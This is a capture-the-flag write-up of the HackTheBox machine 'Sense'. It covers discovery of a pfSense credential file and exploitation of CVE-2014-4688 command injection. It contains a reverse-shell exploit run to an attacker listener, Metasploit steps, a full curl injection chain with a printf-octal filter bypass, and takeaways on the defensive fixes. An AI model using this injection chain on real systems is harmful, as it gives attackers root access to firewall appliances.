- OS: FreeBSD (pfSense 2.1.3-RELEASE firewall appliance; HTB lists as OpenBSD)
- Domain / vhosts: none
Summary
Sense is a pfSense firewall appliance box whose entire attack surface is its HTTPS admin panel. The two-step chain is: wordlist enumeration with file extensions finds a plaintext credential file, then CVE-2014-4688 command injection in pfSense’s RRD graph endpoint delivers a root shell directly — no privilege escalation required because pfSense runs all its web processes as root.
The teaching beats are about wordlist discipline and extension coverage.
Both critical files — /changelog.txt (signals an unpatched vulnerability)
and /system-users.txt (contains rohit:pfsense) — are plain .txt files
in the web root. A gobuster run without -x txt finds neither of them; the
box looks empty. Extension-aware scanning is the entire difficulty of the
foothold. The CVE is straightforward once credentials are in hand.
pfSense 2.1.3’s status_rrd_graph_img.php passes the database GET
parameter unsanitised into a shell command that renders RRD graphs. The
only filter is a regex that blocks forward slashes and dashes; a
printf-based octal escape bypasses it, and a pipe appended to the
parameter value executes arbitrary commands as root.
Source attribution
- 0xdf, “HTB: Sense” — https://0xdf.gitlab.io/2021/05/25/htb-sense.html. Primary source. Covers the wordlist gotcha, the changelog/users.txt credential discovery, and both the EDB-43560 and manual injection paths.
- IppSec, “Sense” video walkthrough — https://ippsec.rocks/?#Sense.
- ExploitDB 43560 (CVE-2014-4688, pfSense authenticated RCE by absolomb).
Recon
nmap -sC -sV -oN nmap/initial.txt <TARGET>
80/tcp open http lighttpd 1.4.35
443/tcp open https lighttpd 1.4.35
Port 80 immediately redirects to HTTPS. The SSL certificate is
self-signed with default pfSense values. The login page at
https://<TARGET>/ is the pfSense 2.1.3-RELEASE admin portal.
All other ports are filtered; the attack surface is entirely the web UI.
A full -p- scan and a UDP scan find nothing additional.
Web enumeration — the extension gotcha
Default credentials (admin:pfsense) do not work. The next step is
directory enumeration, but a standard run without file extensions
returns only directories. The critical files are .txt files sitting in
the web root:
gobuster dir \
-u https://<TARGET>/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-k -x php,txt,conf,html -t 20
-k skips TLS verification (required for the self-signed cert).
-x txt is the load-bearing flag: without it, both key files are missed.
Two files surface:
/changelog.txt — a system patch log:
# Security Changelog
### Issue
There was a failure in updating the firewall.
Manual patching is therefore required.
### Mitigated
2 of 3 vulnerabilities have been patched.
This confirms one vulnerability remains unpatched on pfSense 2.1.3.
/system-users.txt — a support ticket left in the web root:
####Support ticket###
Please create the following user
username: Rohit
password: company defaults
“Company defaults” for pfSense is the factory default password pfsense.
The username rohit (case-insensitive) with password pfsense logs in.
Foothold — CVE-2014-4688 (pfSense RRD graph injection)
pfSense before 2.1.4 contains a command injection in
/status_rrd_graph_img.php. The endpoint accepts a database GET
parameter and passes it unsanitised into a shell command that generates
RRD graph images. A regex filter blocks / and -, but not | or
shell metacharacters. The pipe appended to a valid database name
executes an attacker-supplied command.
The injection is only reachable as an authenticated user — the rohit
credential is therefore required even though rohit is not an
administrator. Authentication grants enough session to access the graph
endpoint.
CVE note: Two CVEs cover injections in the same file:
- CVE-2014-4688 —
databaseparameter, pfSense < 2.1.4 (EDB-43560) - CVE-2016-10709 —
graphparameter, pfSense < 2.3 (Metasploit module)
The box runs 2.1.3 and is solved with CVE-2014-4688 / EDB-43560.
Path A — EDB-43560 (Python exploit, recommended)
# set up listener
nc -lvnp 443
# run the exploit
python3 43560.py \
--rhost <TARGET> \
--lhost <ATTACKER> \
--lport 443 \
--username rohit \
--password pfsense
The script:
- Fetches the CSRF token from the login page.
- Authenticates as
rohit. - Encodes a Python reverse shell in octal via
printf(bypassing the/and-filter). - Sends:
GET /status_rrd_graph_img.php?database=queues;printf+'\<OCTAL>'|sh.
Reverse shell arrives as uid=0(root). No privilege escalation is needed —
pfSense executes all its web processes as root.
Path B — Metasploit (CVE-2016-10709 graph parameter)
use exploit/unix/http/pfsense_graph_injection_exec
set RHOSTS <TARGET>
set RPORT 443
set SSL true
set USERNAME rohit
set PASSWORD pfsense
set LHOST <ATTACKER>
run
Path C — Manual flagless injection (no listener)
If you only need both flags, skip the reverse shell entirely.
Use the same octal-printf primitive to copy them into the
web root, then curl directly:
# Authenticate first (CSRF token from /index.php form)
TOK=$(curl -s -k -c c.txt 'https://<TARGET>/' \
| grep -oE 'name=.__csrf_magic. value="[^"]+"' | head -1 | cut -d'"' -f2)
curl -sk -c c.txt -b c.txt -X POST \
--data-urlencode "__csrf_magic=$TOK" \
--data-urlencode 'usernamefld=rohit' \
--data-urlencode 'passwordfld=pfsense' \
--data-urlencode 'login=Login' \
'https://<TARGET>/index.php'
# Build octal-encoded copy command
python3 -c '
cmd = "cp /home/rohit/user.txt /usr/local/www/u.txt; " \
"cp /root/root.txt /usr/local/www/r.txt"
print("".join("\\\\" + oct(ord(c))[2:] for c in cmd))' > oct.txt
OCT=$(cat oct.txt)
curl -sk -b c.txt -G \
--data-urlencode "database=queues;printf '$OCT'|sh" \
'https://<TARGET>/status_rrd_graph_img.php' -o /dev/null
curl -sk "https://<TARGET>/u.txt" # user flag
curl -sk "https://<TARGET>/r.txt" # root flag
Each flag is one-shot reachable through the public web root
(/usr/local/www/ is the lighttpd document root).
This is the fastest path on a slow VPN.
Two payload-construction gotchas:
- The Python octal generator must produce
\\then octal digits — single-backslash escapes get consumed by the shell. The format is:printf '\143\141\164...'with the shell preserving each\NNNliteral. printfis the load-bearing tool, notecho -e—echois filtered by the same regex on some pfSense builds.
Flags
Both flags are readable directly from the root shell:
/home/rohit/user.txt
/root/root.txt
No lateral movement or privilege escalation is required.
Why each step worked
- Credential file in web root:
system-users.txtwas placed in the document root during provisioning and never removed. A web server that serves files from its document root with no access-control exceptions will serve any file in that directory, regardless of extension or sensitivity. - “Company defaults” =
pfsense: pfSense ships with a well-documented default admin password (pfsense). Any operator who creates an account with that instruction and does not specify an explicit password is relying on the reader knowing what “company defaults” means. Credential policies must be explicit. - RRD graph endpoint command injection: pfSense 2.1.3 passes the
databaseparameter into a shell string that constructs anrrdtoolinvocation. The regex filter (/[^a-zA-Z0-9_\-\.]/) does not include|or;in its deny-list, allowing pipe-and-execute injection. The fix in 2.1.4 added proper allowlisting of the database parameter value. - Slash/dash filter bypass via
printfoctal: even with/and-blocked, any byte value is reachable viaprintf '\octal'. This is a standard shell bypass for character-class regex filters and applies to any injection point whereprintfitself is allowed. - pfSense runs as root: the web daemon (lighttpd + PHP) on pfSense runs as the superuser to allow live firewall-rule manipulation. Any authenticated RCE on pfSense is therefore a direct root shell with no separate escalation step.
Counterfactuals
- Do not leave credential or configuration files in the web root. Any file placed under the document root is reachable by the public unless the web server is explicitly configured to deny it.
- Enforce explicit password policies: “company defaults” is not a password policy.
- Upgrade to pfSense 2.1.4+ (or current). CVE-2014-4688 was patched in 2014; running 2.1.3 in 2017 means over three years without applying a published security fix.
- Consider running pfSense’s web process as a non-root dedicated user with only the capabilities required for network-rule management (Linux/FreeBSD capability sets), limiting the blast radius of web- layer RCE.
- Disable access to the pfSense admin panel from untrusted networks. Firewall admin panels are management-plane infrastructure and should be behind a separate management network or VPN, not exposed on the primary interface.
Key Takeaways
- Always include file extensions when gobustering web targets:
-x txt,php,conf,bak,html. Critical credential or config files are routinely left as plain.txtfiles; skipping extensions leaves them invisible. -k/--insecureis required for gobuster, curl, and browser tools against targets with self-signed TLS. Missing this flag causes silent failures or connection errors with no useful diagnostic.- “Company defaults” or “factory defaults” in any context means look up
the product’s documented default credential. pfSense =
pfsense, Tomcat =tomcat:tomcat, Elastix =admin:admin, etc. - When the web server process runs as root (pfSense, some embedded appliances), there is no privesc step — note this early and don’t waste time looking for one.
printf '\octal'|shis the standard bypass for character-class injection filters. Memorise it for any injection point that blocks/,-, or spaces.
References
- 0xdf, “HTB: Sense” — https://0xdf.gitlab.io/2021/05/25/htb-sense.html
- IppSec, “Sense” — https://ippsec.rocks/?#Sense
- ExploitDB 43560 (CVE-2014-4688) — https://www.exploit-db.com/exploits/43560
- CVE-2014-4688 — pfSense < 2.1.4 authenticated command injection